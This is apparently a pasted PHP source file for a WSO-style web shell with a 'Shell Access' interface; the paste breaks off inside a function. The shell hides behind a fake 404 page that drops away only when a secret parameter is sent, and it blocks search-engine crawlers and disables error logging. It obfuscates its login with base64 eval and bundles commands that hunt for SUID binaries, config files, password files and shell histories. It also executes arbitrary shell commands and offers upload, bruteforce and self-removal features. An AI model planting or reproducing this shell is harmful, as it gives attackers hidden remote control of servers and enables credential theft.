· 8 years ago · Apr 15, 2018, 02:48 PM
1<?php
2
3$pass_sh1t="15b8aee4c28e4980ddc635c87d24fd9b";
4$color="#25ff00";
5$vrnDwONRSZ='tae';
6$edlncdAkdwhs='ka';
7
8if($_GET[$vrnDwONRSZ] != $edlncdAkdwhs){
9 echo "
10<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">
11<html><head>
12<title>404 Not Found</title>
13</head><body>
14<h1>Not Found</h1>
15<p>The requested URL ".$_SERVER['REQUEST_URI']." was not found on this server.</p>
16<p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p>
17<hr>
18<address>".$_SERVER['SERVER_SOFTWARE']." at ".$_SERVER['SERVER_NAME']." Port ".$_SERVER['SERVER_PORT']."</address>
19</body></html>";exit;
20}
21
22$default_action ="Fi\x6ce\x73Man";
23$default_use_ajax = true;
24$default_charset = 'Windows-1251';
25$default_action = 'FilesMan';
26$default_use_ajax = true;
27$default_charset = 'Windows-1251';
28if(!empty($_SERVER["H\x54T\x50_\x55S\x45R_\x41\x47ENT"])){
29 $userAgents = array("\x47oog\x6ce","\x53\x6cur\x70","\x4dS\x4e\x42ot","\x69a_a\x72chiv\x65\x72","Ya\x6e\x64\x65\x78","Ram\x62l\x65\x72");
30 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER["H\x54T\x50_\x55S\x45R_\x41\x47ENT"])) {
31 header('HTTP/1.0 404 Not Found');
32 exit;
33 }
34}
35@ini_set("err\x6fr\x5f\x6c\x6fg",NULL);
36@ini_set("\x6c\x6f\x67_e\x72\x72\x6fr\x73",0);
37@ini_set("m\x61\x78_exe\x63\x75tion\x5fti\x6de",0);
38@set_time_limit(0);
39@set_magic_quotes_runtime(0);
40if(get_magic_quotes_gpc()) {
41 function WSOstripslashes($array) {
42 return is_array($array) ? array_map('W\x53O\x73t\x72i\x70\x73\x6cas\x68\x65\x73', $array) : stripslashes($array);
43 }
44 $_POST = WSOstripslashes($_POST);
45 $_COOKIE = WSOstripslashes($_COOKIE);
46}
47if(isset($_GET['jump']))
48 $der = chdir($_GET['jump']);
49else
50 $der=getcwd();
51function notfound(){
52 echo"\n\x3c!\x44\x4f\x43T\x59PE\x20\x48\x54M\x4c\x20P\x55\x42\x4c\x49C \x22-//I\x45\x54F//\x44T\x44\x20\x48\x54\x4dL \x32.\x30//EN\">\n<h\x74m\x6c\x3e<h\x65ad>\n\x3ctit\x6c\x65>\x3404 Not\x20Fo\x75\x6ed\x3c/ti\x74\x6ce>\n</head><\x62\x6f\x64\x79\x3e\n<h1>No\x74\x20\x46ou\x6e\x64\x3c/\x68\x31\x3e\n<\x70>\x54\x68e\x20\x72\x65que\x73t\x65d\x20URL\x20".$_SERVER["REQUE\x53T_\x55RI"]." \x77a\x73 n\x6ft\x20fo\x75\x6e\x64\x20o\x6e \x74\x68\x69s\x20ser\x76er\x2e</\x70>\n\x3c\x70\x3eA\x64\x64\x69\x74\x69\x6f\x6e\x61\x6cl\x79, a 4\x30\x34 No\x74\x20Fou\x6ed\x20erro\x72 wa\x73 \x65n\x63\x6f\x75\x6et\x65\x72\x65d whi\x6ce\x20t\x72\x79ing\x20\x74\x6f\x20u\x73e an E\x72r\x6f\x72Doc\x75me\x6et\x20\x74o\x20\x68a\x6edle \x74\x68\x65\x20re\x71ues\x74.\x3c/\x70\x3e\n<hr>\n\x3ca\x64\x64r\x65\x73\x73>".$_SERVER["SERVE\x52\x5f\x53OFT\x57ARE"]."\x20a\x74 ".$_SERVER["H\x54\x54P\x5fHOS\x54"]." P\x6f\x72\x74\x20".$_SERVER["\x53\x45R\x56E\x52_P\x4f\x52T"]."\x3c/\x61\x64\x64ress\x3e\n\x3c/body\x3e\x3c/htm\x6c\x3e\n\t";
53}
54function wsoLogin() {
55 notfound();
56 print "<\x73ty\x6c\x65\x3e\x20in\x70\x75\x74 { m\x61r\x67\x69\x6e:\x30;\x62\x61ck\x67r\x6fun\x64-co\x6cor:#f\x66\x66;b\x6f\x72\x64e\x72:\x31\x70\x78 \x73olid #\x66\x66f\x3b\x20}\x20</sty\x6ce\x3e <\x70r\x65 \x61\x6cign\x3d\x63\x65nte\x72><form\x20\x6detho\x64=po\x73\x74\x3e\x3cin\x70u\x74 t\x79\x70\x65\x3dpasswor\x64 nam\x65=\x70\x61ss></\x66or\x6d></\x70\x72\x65\x3e"; exit;
57}
58function login($a){
59 WSOsetcookie(md5($_SERVER["HT\x54\x50_H\x4f\x53\x54"]), md5($a));
60}
61function WSOsetcookie($k, $v) {
62 $_COOKIE[$k] = $v;
63 setcookie($k, $v);
64}
65if(!empty($pass_sh1t)) {
66 if(isset($_POST["p\x61ss"]) && (md5($_POST["p\x61ss"]) == $pass_sh1t))
67 eval(base64_decode("bG9naW4oJF9QT1NUWyJwXHg2MXNzIl0pOw=="));
68
69 if (!isset($_COOKIE[md5($_SERVER["HT\x54\x50_H\x4f\x53\x54"])]) || ($_COOKIE[md5($_SERVER["HT\x54\x50_H\x4f\x53\x54"])] != $pass_sh1t))
70 wsoLogin();
71}
72if(strtolower(substr(PHP_OS,0,3)) == "\x77\x69n")
73 $os = "\x77\x69n";
74else
75 $os = "\x6ei\x78";
76$safe_mode = @ini_get("safe\x5fmo\x64\x65");
77if(!$safe_mode)
78 error_reporting(0);
79$disable_functions = @ini_get("d\x69s\x61\x62\x6ce_\x66unc\x74i\x6fn\x73");
80$home_cwd = @getcwd();
81if(isset($_POST['c']))
82 @chdir($_POST['c']);
83$cwd = @getcwd();
84if($os == 'win') {
85 $home_cwd = str_replace("\\", "/", $home_cwd);
86 $cwd = str_replace("\\", "/", $cwd);
87}
88if($cwd[strlen($cwd)-1] != '/')
89 $cwd .= '/';
90if(!isset($_COOKIE[md5($_SERVER["HT\x54\x50_H\x4f\x53\x54"]) . 'ajax']))
91 $_COOKIE[md5($_SERVER["HT\x54\x50_H\x4f\x53\x54"]) . 'ajax'] = (bool)$default_use_ajax;
92
93if($os == 'win')
94 $aliases = array("List\x20\x44\x69\x72ect\x6f\x72\x79"=>"d\x69r","Fi\x6ed i\x6e\x64\x65x\x2e\x70h\x70\x20\x69\x6e\x20curre\x6e\x74 \x64\x69r"=>"\x64ir\x20/s\x20/w /b \x69n\x64\x65x.php","\x46ind *c\x6fnfi\x67*\x2eph\x70\x20i\x6e\x20\x63u\x72re\x6e\x74\x20\x64i\x72"=>"dir /\x73\x20/\x77 /b *co\x6e\x66i\x67*\x2e\x70\x68p","\x53\x68o\x77 a\x63t\x69\x76\x65\x20\x63onn\x65\x63\x74i\x6fns"=>"\x6e\x65\x74\x73tat\x20-an","Sh\x6fw\x20\x72unn\x69ng\x20\x73\x65r\x76ic\x65s"=>"\x6ee\x74\x20s\x74\x61rt","Us\x65r a\x63c\x6fun\x74\x73"=>"\x6e\x65t use\x72","\x53h\x6fw \x63\x6fm\x70\x75\x74\x65r\x73"=>"n\x65t\x20\x76\x69ew","\x41\x52\x50\x20\x54abl\x65"=>"\x61rp\x20-a","\x49\x50 C\x6fn\x66\x69gu\x72\x61\x74ion"=>"i\x70\x63\x6fnfi\x67 /all");
95else
96 $aliases = array("Lis\x74 \x64i\x72"=>"ls -l\x68\x61","li\x73\x74\x20f\x69\x6c\x65 a\x74tr\x69b\x75te\x73 \x6fn \x61 Li\x6eu\x78 sec\x6fnd\x20\x65xt\x65\x6ed\x65d fil\x65\x20\x73ys\x74\x65\x6d"=>"\x6cs\x61tt\x72 -v\x61","sho\x77\x20o\x70\x65n\x65d p\x6fr\x74\x73"=>"n\x65\x74\x73\x74\x61t\x20-\x61n | \x67re\x70 -i\x20li\x73te\x6e","\x70\x72o\x63e\x73s\x20s\x74\x61tus"=>"ps\x20\x61u\x78","F\x69\x6ed"=>"","\x66i\x6e\x64 s\x75id"=>"fin\x64\x20/\x20-ty\x70e f\x20-\x70\x65rm -\x30\x340\x300\x20-ls","f\x69nd\x20su\x69d\x20\x69\x6e \x63\x75\x72re\x6e\x74 \x64i\x72"=>"\x66i\x6e\x64\x20\x2e\x20-\x74\x79p\x65\x20\x66 -\x70er\x6d\x20-\x30\x34\x300\x30 -\x6c\x73","fi\x6ed\x20\x73g\x69d"=>"\x66in\x64 / -\x74ype f\x20-\x70\x65rm -\x30\x3200\x30\x20-\x6c\x73","f\x69nd sgid\x20\x66i\x6ces \x69n\x20\x63u\x72\x72e\x6et\x20\x64ir"=>"\x66\x69\x6ed \x2e\x20-t\x79\x70e \x66\x20-p\x65rm\x20-\x302\x30\x30\x30 -\x6c\x73","\x66i\x6ed co\x6e\x66ig\x2ei\x6ec.p\x68p"=>"f\x69n\x64\x20/\x20-ty\x70e \x66\x20-\x6e\x61\x6de\x20\x63\x6f\x6efi\x67.inc.\x70\x68\x70","\x66\x69n\x64 co\x6e\x66\x69\x67*"=>"\x66\x69n\x64 /\x20-t\x79\x70\x65 \x66 -\x6ea\x6d\x65 \"\x63o\x6e\x66ig*\x22","f\x69\x6ed\x20\x63\x6fnfi\x67*\x20i\x6e\x20curr\x65n\x74\x20\x64\x69\x72"=>"\x66ind \x2e\x20-\x74yp\x65 f\x20-n\x61\x6de\x20\"c\x6fnf\x69\x67*\"","\x66in\x64\x20w\x72\x69\x74\x61\x62\x6c\x65\x20\x66older\x73\x20\x61n\x64\x20\x66i\x6c\x65s"=>"fi\x6e\x64\x20/\x20-p\x65\x72\x6d\x20-2 -\x6c\x73","find\x20\x77rita\x62l\x65\x20\x66o\x6c\x64\x65\x72s \x61\x6ed \x66il\x65s \x69\x6e \x63urre\x6e\x74\x20\x64\x69r"=>"find .\x20-per\x6d -2 -l\x73","\x66in\x64 servi\x63\x65\x2e\x70\x77\x64"=>"\x66\x69nd\x20/ -\x74\x79\x70e \x66\x20-n\x61me ser\x76i\x63\x65.p\x77d","\x66i\x6ed s\x65r\x76\x69ce.pwd f\x69\x6ces \x69n\x20c\x75r\x72e\x6e\x74\x20di\x72"=>"\x66\x69\x6e\x64\x20. -t\x79p\x65\x20\x66 -n\x61\x6de\x20\x73\x65rvic\x65\x2ep\x77\x64","fin\x64\x20.h\x74pas\x73w\x64"=>"\x66\x69nd /\x20-\x74y\x70\x65 f\x20-na\x6d\x65 \x2e\x68tp\x61\x73swd","f\x69\x6e\x64 \x2e\x68\x74p\x61\x73\x73\x77d fi\x6c\x65s i\x6e c\x75\x72\x72e\x6et \x64\x69r"=>"\x66i\x6ed .\x20-\x74y\x70\x65 f\x20-na\x6de \x2ehtpa\x73s\x77d","\x66\x69\x6ed \x2e\x62\x61\x73h\x5fh\x69\x73\x74o\x72y"=>"f\x69n\x64\x20/\x20-\x74\x79\x70e f -n\x61m\x65 \x2ebash_hi\x73\x74o\x72\x79","fi\x6e\x64\x20\x2eb\x61\x73\x68_\x68ist\x6f\x72\x79 fi\x6ces\x20in c\x75rr\x65\x6e\x74 dir"=>"\x66\x69\x6ed .\x20-t\x79\x70e f\x20-n\x61\x6d\x65\x20.b\x61\x73\x68_\x68\x69\x73to\x72\x79","find \x2e\x66\x65t\x63\x68\x6d\x61ilrc"=>"f\x69\x6e\x64\x20/ -\x74\x79p\x65 \x66 -name\x20\x2e\x66e\x74\x63\x68\x6dai\x6cr\x63","f\x69\x6ed .\x66\x65\x74\x63hma\x69\x6c\x72c \x66iles i\x6e\x20\x63\x75r\x72\x65\x6et\x20dir"=>"\x66ind\x20\x2e -typ\x65 \x66 -n\x61\x6d\x65\x20.fet\x63\x68\x6da\x69\x6cr\x63","\x4coca\x74e"=>"","\x6c\x6fcate\x20h\x74\x74pd\x2ec\x6fn\x66"=>"\x6coc\x61\x74\x65\x20\x68\x74\x74p\x64\x2eco\x6e\x66","l\x6fca\x74\x65\x20\x76\x68o\x73\x74s\x2ec\x6f\x6e\x66"=>"l\x6f\x63\x61te \x76\x68o\x73t\x73.c\x6f\x6e\x66","l\x6f\x63\x61\x74\x65 \x70r\x6f\x66\x74p\x64.c\x6fnf"=>"\x6co\x63\x61\x74\x65\x20p\x72oft\x70d.c\x6fn\x66","\x6c\x6fcate\x20p\x73\x79\x62nc\x2e\x63on\x66"=>"\x6c\x6f\x63\x61\x74\x65 \x70sy\x62n\x63\x2e\x63\x6fnf","\x6c\x6fc\x61\x74e\x20\x6d\x79\x2e\x63on\x66"=>"l\x6f\x63\x61te\x20\x6dy\x2e\x63\x6f\x6e\x66","\x6coc\x61\x74e \x61d\x6d\x69\x6e\x2e\x70\x68\x70"=>"\x6c\x6fc\x61\x74\x65 a\x64mi\x6e.p\x68p","\x6co\x63\x61\x74\x65 \x63\x66g\x2ep\x68p"=>"\x6c\x6f\x63at\x65\x20c\x66g.p\x68p","lo\x63\x61\x74e c\x6f\x6ef.\x70\x68\x70"=>"l\x6fc\x61t\x65 \x63o\x6e\x66.\x70hp","\x6c\x6f\x63a\x74e\x20config.\x64at"=>"\x6c\x6f\x63a\x74\x65\x20c\x6f\x6e\x66\x69\x67.d\x61\x74","loc\x61te \x63on\x66\x69g.\x70\x68p"=>"l\x6fc\x61\x74e\x20\x63\x6fn\x66\x69g\x2ep\x68\x70","l\x6f\x63\x61\x74e \x63\x6fnf\x69\x67\x2e\x69nc"=>"\x6c\x6f\x63a\x74\x65 \x63on\x66i\x67.i\x6e\x63","l\x6f\x63a\x74\x65\x20\x63\x6f\x6ef\x69\x67.\x69n\x63\x2e\x70\x68\x70"=>"loca\x74e \x63on\x66\x69\x67\x2e\x69n\x63\x2ep\x68\x70","\x6c\x6fcat\x65\x20\x63\x6f\x6e\x66i\x67\x2e\x64efaul\x74.ph\x70"=>"loc\x61\x74\x65\x20c\x6fnfi\x67.\x64\x65f\x61u\x6ct.\x70h\x70","l\x6fcat\x65 \x63o\x6efi\x67*"=>"lo\x63\x61te c\x6f\x6efig","\x6c\x6f\x63a\x74e .c\x6fn\x66"=>"\x6c\x6f\x63ate\x20\x27\x2eco\x6e\x66'","\x6c\x6f\x63\x61te .\x70\x77\x64"=>"\x6co\x63at\x65\x20'.\x70\x77d\x27","l\x6fca\x74\x65 \x2e\x73\x71\x6c"=>"\x6c\x6fcat\x65 '\x2e\x73q\x6c'","\x6c\x6f\x63\x61\x74e\x20.htpas\x73\x77\x64"=>"locat\x65\x20\x27\x2eht\x70as\x73wd\x27","\x6co\x63\x61\x74e\x20\x2ebash\x5f\x68\x69sto\x72\x79"=>"l\x6fc\x61te \x27.\x62\x61s\x68_\x68\x69sto\x72\x79\x27","loc\x61\x74e\x20.\x6d\x79sql_\x68i\x73\x74or\x79"=>"lo\x63ate \x27.\x6dys\x71l_\x68\x69st\x6fr\x79\x27","l\x6fc\x61t\x65\x20\x2ef\x65\x74\x63h\x6dai\x6c\x72c"=>"\x6co\x63\x61t\x65\x20\x27\x2e\x66\x65t\x63\x68mai\x6crc'","l\x6f\x63\x61t\x65 b\x61ck\x75p"=>"l\x6fc\x61\x74e \x62\x61c\x6bu\x70","\x6c\x6f\x63at\x65 \x64u\x6d\x70"=>"l\x6fcat\x65\x20d\x75m\x70","l\x6fc\x61t\x65\x20pr\x69v"=>"\x6cocat\x65\x20\x70ri\x76");
97function wsoHeader() {
98 if(empty($_POST['charset']))
99 $_POST['charset'] = $GLOBALS['default_charset'];
100 global $color;
101 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><link href='https://cdn.onlinewebfonts.com/svg/img_507357.png' rel='SHORTCUT ICON'/><title>Shell Access</title>
102<style>
103body{background-color:#051019;color:green;}
104body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#fff; }
105table.info{ color:#fff; }
106span,h1,a{ color: $color !important; }
107span{ font-weight: bolder; }
108h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#051019;margin:0px; }
109div.content{ padding: 5px;margin-left:5px;background-color:#051019; }
110a{ text-decoration:none; }
111a:hover{ text-decoration:underline; }
112.ml1{ border:1px solid #25ff00;padding:5px;margin:0;overflow: auto; }
113.bigarea{ width:100%;height:300px; }
114input,textarea,select{ margin:0;color:#25ff00;background-color:#051019;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
115form{ margin:0px; }
116#toolsTbl{ text-align:center; }
117.toolsInp{ width: 300px }
118.main th{text-align:left;background-color:#051019;}
119.main tr:hover{background-color:#5e5e5e}
120.l1{background-color:#051019}
121.l2{background-color:#051019}
122pre{font-family:Courier,Monospace;}
123</style>
124<script>
125 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
126 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
127 var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
128 var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
129 var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
130 var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
131 var d = document;
132 function set(a,c,p1,p2,p3,charset) {
133 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
134 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
135 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
136 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
137 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
138 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
139 }
140 function g(a,c,p1,p2,p3,charset) {
141 set(a,c,p1,p2,p3,charset);
142 d.mf.submit();
143 }
144 function a(a,c,p1,p2,p3,charset) {
145 set(a,c,p1,p2,p3,charset);
146 var params = 'ajax=true';
147 for(i=0;i<d.mf.elements.length;i++)
148 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
149 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
150 }
151 function sr(url, params) {
152 if (window.XMLHttpRequest)
153 req = new XMLHttpRequest();
154 else if (window.ActiveXObject)
155 req = new ActiveXObject('Microsoft.XMLHTTP');
156 if (req) {
157 req.onreadystatechange = processReqChange;
158 req.open('POST', url, true);
159 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
160 req.send(params);
161 }
162 }
163 function processReqChange() {
164 if( (req.readyState == 4) )
165 if(req.status == 200) {
166 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
167 var arr=reg.exec(req.responseText);
168 eval(arr[2].substr(0, arr[1]));
169 } else alert('Request error!');
170 }
171</script>
172<head><body><div id='particles-js'><div style='position:absolute;width:100%;background-color:transparent;'>
173<form method=post name=mf style='display:none;'>
174<input type=hidden name=a>
175<input type=hidden name=c>
176<input type=hidden name=p1>
177<input type=hidden name=p2>
178<input type=hidden name=p3>
179<input type=hidden name=charset>
180</form>";
181 $freeSpace = @diskfreespace($GLOBALS['cwd']);
182 $totalSpace = @disk_total_space($GLOBALS['cwd']);
183 $totalSpace = $totalSpace?$totalSpace:1;
184 $dis_func = @ini_get('disable_functions');
185 $release = @php_uname('r');
186 $kernel = @php_uname('s');
187 if(!function_exists('posix_getegid')) {
188 $user = @get_current_user();
189 $uid = @getmyuid();
190 $gid = @getmygid();
191 $group = "?";
192 } else {
193 $uid = @posix_getpwuid(posix_geteuid());
194 $gid = @posix_getgrgid(posix_getegid());
195 $user = $uid['name'];
196 $uid = $uid['uid'];
197 $group = $gid['name'];
198 $gid = $gid['gid'];
199 }
200
201 $cwd_links = '';
202 $path = explode("/", $GLOBALS['cwd']);
203 $n=count($path);
204 for($i=0; $i<$n-1; $i++) {
205 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
206 for($j=0; $j<=$i; $j++)
207 $cwd_links .= $path[$j].'/';
208 $cwd_links .= "\")'>".$path[$i]."/</a>";
209 }
210 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
211 $opt_charsets = '';
212 foreach($charsets as $item)
213 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
214
215 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Readables'=>'Readable','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
216 if(!empty($GLOBALS['pass_sh1t']))
217 $m['Logout'] = 'Logout';
218 $m['Self remove'] = 'SelfRemove';
219 $menu = '';
220 if(!empty($GLOBALS['vrnDwONRSZ']) && !empty($GLOBALS['edlncdAkdwhs'])){
221 $hcw = $GLOBALS['vrnDwONRSZ'].'='.$GLOBALS['edlncdAkdwhs'].'&';
222 }
223 foreach($m as $k => $v) {
224 if($k == "Readables"){
225 $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="?'.$hcw.'do=Jump">'.$k.'</a> ]</th>';
226 }else{
227 $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>'; }
228 }
229 $drives = "";
230 if($GLOBALS['os'] == 'win') {
231 foreach(range('c','z') as $drive)
232 if(is_dir($drive.':\\'))
233 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
234 }
235 if($GLOBALS['os'] == 'nix') {
236 $dominios = @file_get_contents("/etc/named.conf");
237 if(!$dominios) {
238 $d0c = "CANT READ named.conf";
239 } else {
240 @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
241 $out = sizeof(array_unique($out[1]));
242 $d0c = $out." Domains";
243 }
244 } else {
245 $d0c = " --- ";
246 }
247 $x=explode('?',$_SERVER['REQUEST_URI']);
248 if(!empty($GLOBALS['vrnDwONRSZ']) && !empty($GLOBALS['edlncdAkdwhs'])){
249 $hcwd = '?'.$GLOBALS['vrnDwONRSZ'].'='.$GLOBALS['edlncdAkdwhs'];
250 }
251 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>DF:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
252 . '<td><nobr>' . substr(@php_uname(), 0, 120) . '</nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
253 . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>'.($dis_func?$dis_func:'All Function Enabled').'<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href="'.$x[0].$hcwd.'">[ home ]</a><br>' . $drives . '</td>'
254 . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '<br>'.$d0c.'</nobr></td></tr></table>'
255 . '<table style="border-top:2px solid #25ff00;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
256}
257function wsoFooter() {
258 $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
259 echo "
260</div>
261<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #25ff00;border-bottom:2px solid #25ff00;'>
262 <tr>
263 <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
264 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
265 </tr><tr>
266 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
267 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
268 </tr><tr>
269 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
270 <td><form method='post' ENCTYPE='multipart/form-data'>
271 <input type=hidden name=a value='FilesMAn'>
272 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
273 <input type=hidden name=p1 value='uploadFile'>
274 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
275 <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
276 </tr></table></div>
277 <!-- particles --></div><script src='http://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js'></script>
278 <script>particlesJS('particles-js', {'particles':{'number':{'value':80,'density':{'enable':true,'value_area':800}},'color':{'value':'#ffffff'},'shape':{'type':'triangle','stroke':{'width':0,'color':'#051019000'},'polygon':{'nb_sides':5},'image':{'src':'img/github.svg','width':100,'height':100}},'opacity':{'value':0.5,'random':true,'anim':{'enable':false,'speed':1,'opacity_min':0.1,'sync':false}},'size':{'value':3,'random':true,'anim':{'enable':false,'speed':40,'size_min':0.1,'sync':false}},'line_linked':{'enable':true,'distance':200,'color':'#ffffff','opacity':0.4,'width':1},'move':{'enable':true,'speed':1,'direction':'none','random':true,'straight':false,'out_mode':'out','bounce':false,'attract':{'enable':false,'rotateX':10000,'rotateY':10000}}},'interactivity':{'detect_on':'canvas','events':{'onhover':{'enable':true,'mode':'grab'},'onclick':{'enable':true,'mode':'repulse'},'resize':true},'modes':{'grab':{'distance':200,'line_linked':{'opacity':0.5}},'bubble':{'particles_nb':2}}},'retina_detect':true});</script>
279 </body></html>";
280}
281if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
282 function posix_getpwuid($p) {return false;} }
283if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
284 function posix_getgrgid($p) {return false;} }
285function wsoEx($in) {
286 $out = '';
287 if (function_exists('exec')) {
288 @exec($in,$out);
289 $out = @join("\n",$out);
290 } elseif (function_exists('passthru')) {
291 ob_start();
292 @passthru($in);
293 $out = ob_get_clean();
294 } elseif (function_exists('system')) {
295 ob_start();
296 @system($in);
297 $out = ob_get_clean();
298 } elseif (function_exists('shell_exec')) {
299 $out = shell_exec($in);
300 } elseif (is_resource($f = @popen($in,"r"))) {
301 $out = "";
302 while(!@feof($f))
303 $out .= fread($f,1024);
304 pclose($f);
305 }
306 return $out;
307}
308function wsoViewSize($s) {
309 if (is_int($s))
310 $s = sprintf("%u", $s);
311
312 if($s >= 1073741824)
313 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
314 elseif($s >= 1048576)
315 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
316 elseif($s >= 1024)
317 return sprintf('%1.2f', $s / 1024 ) . ' KB';
318 else
319 return $s . ' B';
320}
321function wsoPerms($p) {
322 if (($p & 0xC000) == 0xC000)$i = 's';
323 elseif (($p & 0xA000) == 0xA000)$i = 'l';
324 elseif (($p & 0x8000) == 0x8000)$i = '-';
325 elseif (($p & 0x6000) == 0x6000)$i = 'b';
326 elseif (($p & 0x4000) == 0x4000)$i = 'd';
327 elseif (($p & 0x2000) == 0x2000)$i = 'c';
328 elseif (($p & 0x1000) == 0x1000)$i = 'p';
329 else $i = 'u';
330 $i .= (($p & 0x0100) ? 'r' : '-');
331 $i .= (($p & 0x0080) ? 'w' : '-');
332 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
333 $i .= (($p & 0x0020) ? 'r' : '-');
334 $i .= (($p & 0x0010) ? 'w' : '-');
335 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
336 $i .= (($p & 0x0004) ? 'r' : '-');
337 $i .= (($p & 0x0002) ? 'w' : '-');
338 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
339 return $i;
340}
341function wsoPermsColor($f) {
342 if (!@is_readable($f))
343 return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
344 elseif (!@is_writable($f))
345 return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
346 else
347 return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
348}
349function wsoScandir($dir) {
350 if(function_exists("scandir")) {
351 return scandir($dir);
352 } else {
353 $dh = opendir($dir);
354 while (false !== ($filename = readdir($dh)))
355 $files[] = $filename;
356 return $files;
357 }
358}
359function wsoWhich($p) {
360 $path = wsoEx('which ' . $p);
361 if(!empty($path))
362 return $path;
363 return false;
364}
365function actionSecInfo() {
366 wsoHeader();
367 echo '<h1>Server security information</h1><div class=content>';
368 function wsoSecParam($n, $v) {
369 $v = trim($v);
370 if($v) {
371 echo '<span>' . $n . ': </span>';
372 if(strpos($v, "\n") === false)
373 echo $v . '<br>';
374 else
